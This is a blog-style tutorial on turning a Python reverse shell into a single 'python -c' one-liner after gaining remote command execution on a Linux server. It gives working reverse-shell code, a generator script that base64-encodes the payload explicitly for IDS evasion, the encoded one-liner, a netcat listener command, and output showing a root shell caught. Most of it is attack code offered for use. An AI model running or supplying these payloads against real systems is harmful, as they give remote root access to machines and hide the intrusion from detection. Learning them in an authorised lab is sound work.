Python one-line b64 Shellcode

You have remote command execution on a linux web server. Your normal tricks for getting a shell don’t work but you know that the system has a fully functional python interpreter. In order to make your attack work you need to put the entire attack into a single command line passed to a python interpreter with the -c option. Here are a few python based one liners that can be executed with the -c option and tips for creating additional shells. Each of these examples shovel a shell. Start up a netcat listener to receive the shell ($nc -lvp 443) before launching these sample attacks.

First we start out with a simple python reverse tcp connect shell like this one.

import socket
import subprocess
s=socket.socket() 
s.connect(("192.168.178.15",443)) 
while 1:
p = subprocess.Popen(s.recv(1024), shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(p.stdout.read() + p.stderr.read())

Then we try to collapse it down to one line by separating the existing lines with semicolons. That is simple enough, but there is a problem. Python relies on spacing to indicate the start and end of a code block. The while loop doesn’t want to collapse to a single line. But we can get it down to two lines.

>>> import socket;import subprocess ;s=socket.socket() ;s.connect(("192.168.178.15",443))
>>> while 1:  p = subprocess.Popen(s.recv(1024),  shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);  s.send(p.stdout.read() + p.stderr.read())

If you keep the spacing straight and put those two lines into an interactive python session it works properly. As soon as you try to collapse the two lines with a semicolon you get a syntax error. The good news is you can get around that with the “exec” method. Python’s exec method is similar to “eval()” in javascript and we can use it to interpret a script with “\n” (new lines) in it to separate the lines. Using this technique we get the following one line python shell.

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('192.168.178.15',443))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

Setup a netcat listner on your localhost listening on port 443 and this works very nicely. If we are going to use exec(), we might as well add a little IDS evasion to the mix and obscure our code with base64.

netcatencode.py python script :

from base64 import encodestring
from sys import argv
try:
	print "python -c \"exec( __import__( 'base64' ).decodestring(", '\'' + encodestring("s=__import__('socket').socket(__import__('socket').AF_INET,__import__('socket').SOCK_STREAM); s.connect(('{}', {})); __import__('os').dup2(s.fileno(),0); __import__('os').dup2(s.fileno(),1); __import__('os').dup2(s.fileno(),2); p=__import__('subprocess').call(['/bin/sh','-i'])".format(argv[1], argv[2])).replace('\n', '\\n') + '\'', ") )\"" # = = i couldn't use  str1 + str2
except:
	print 'Usage: python nc.py ip port'

run script

root@kali:~/pwk# python netcatencode.py 192.168.178.15 443
python -c "exec( __import__( 'base64' ).decodestring( 'cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5F\nVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4xNjgu\nMTc4LjE1JywgNDQzKSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZpbGVubygpLDApOyBfX2lt\ncG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwxKTsgX19pbXBvcnRfXygnb3MnKS5kdXAyKHMu\nZmlsZW5vKCksMik7IHA9X19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNhbGwoWycvYmluL3NoJywn\nLWknXSk=\n' ) )"

Next we take the base64 encoded version of our payload and exec() that with the decode() method to turn it back into our script source before execution. Our one liner becomes this:

root@kali:~/pwk# python -c "exec( __import__( 'base64' ).decodestring( 'cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5F\nVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4xNjgu\nMTc4LjE1JywgNDQzKSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZpbGVubygpLDApOyBfX2lt\ncG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwxKTsgX19pbXBvcnRfXygnb3MnKS5kdXAyKHMu\nZmlsZW5vKCksMik7IHA9X19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNhbGwoWycvYmluL3NoJywn\nLWknXSk=\n' ) )"

result

c:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
192.168.178.12: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.178.15] from (UNKNOWN) [192.168.178.12] 39026: NO_DATA
# id
uid=0(root) gid=0(root) groups=0(root)

 

Author: Jacco Straathof